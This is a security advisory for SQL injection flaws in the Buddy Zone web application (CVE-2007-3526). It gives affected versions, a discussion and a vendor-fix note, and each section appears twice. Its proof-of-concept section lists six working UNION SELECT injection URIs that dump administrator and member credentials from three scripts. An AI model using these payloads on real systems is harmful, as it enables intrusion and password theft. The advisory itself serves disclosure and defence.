Buddy Zone Multiple SQL Injection Vulnerabilities
BID:24726
Info
Buddy Zone Multiple SQL Injection Vulnerabilities
| Bugtraq ID: | 24726 |
| Class: | Input Validation Error |
| CVE: |
CVE-2007-3526 |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 30 2007 12:00AM |
| Updated: | May 07 2015 05:37PM |
| Credit: | t0pP8uZz & xprog are credited with the discovery of these vulnerabilities. |
| Vulnerable: |
Vastal I-Tech Buddy Zone 1.0.1 Vastal I-Tech Buddy Zone 1.5 |
| Not Vulnerable: |
Vastal I-Tech Buddy Zone 2.1 RC2 Build: 130 |
Discussion
Buddy Zone Multiple SQL Injection Vulnerabilities
Buddy Zone is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Buddy Zone 1.5 and prior versions are vulnerable; other versions may also be affected.
Buddy Zone is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Buddy Zone 1.5 and prior versions are vulnerable; other versions may also be affected.
Exploit / POC
Buddy Zone Multiple SQL Injection Vulnerabilities
Attackers can use a browser to exploit these issues.
The following proof-of-concept URIs are available:
view_news.php
http://www.example.com/view_news.php?news_id=-1/**/UNION/**/ALL/**/SELECT/**/1,concat(admin_user,0x3a,admin_password),3,4,5,6/**/FROM/**/admin_users/*
http://www.example.com/view_news.php?news_id=-1/**/UNION/**/ALL/**/SELECT/**/1,concat(member_email,0x3a,member_password),3,4,5,6/**/FROM/**/members/*
view_events.php
http://www.example.com/view_events.php?cat_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(member_email,0x3a,member_password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/**/FROM/**/members/*
http://www.example.com/view_events.php?cat_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(admin_user,0x3a,admin_password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/**/FROM/**/admin_users/*
video_gallery.php
http://www.example.com/video_gallery.php?member_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,concat(admin_user,0x3a,admin_password),7,8,9,10,11,12,13,14,15,16,17,18,19,20/**/FROM/**/admin_users/*
http://www.example.com/video_gallery.php?member_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,concat(member_email,0x3a,member_password),7,8,9,10,11,12,13,14,15,16,17,18,19,20/**/FROM/**/members/*
Attackers can use a browser to exploit these issues.
The following proof-of-concept URIs are available:
view_news.php
http://www.example.com/view_news.php?news_id=-1/**/UNION/**/ALL/**/SELECT/**/1,concat(admin_user,0x3a,admin_password),3,4,5,6/**/FROM/**/admin_users/*
http://www.example.com/view_news.php?news_id=-1/**/UNION/**/ALL/**/SELECT/**/1,concat(member_email,0x3a,member_password),3,4,5,6/**/FROM/**/members/*
view_events.php
http://www.example.com/view_events.php?cat_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(member_email,0x3a,member_password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/**/FROM/**/members/*
http://www.example.com/view_events.php?cat_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(admin_user,0x3a,admin_password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/**/FROM/**/admin_users/*
video_gallery.php
http://www.example.com/video_gallery.php?member_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,concat(admin_user,0x3a,admin_password),7,8,9,10,11,12,13,14,15,16,17,18,19,20/**/FROM/**/admin_users/*
http://www.example.com/video_gallery.php?member_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,concat(member_email,0x3a,member_password),7,8,9,10,11,12,13,14,15,16,17,18,19,20/**/FROM/**/members/*
Solution / Fix
Buddy Zone Multiple SQL Injection Vulnerabilities
Solution:
The vendor states that these issues have been addressed. Please contact the vendor for information on how to obtain the latest version.
Solution:
The vendor states that these issues have been addressed. Please contact the vendor for information on how to obtain the latest version.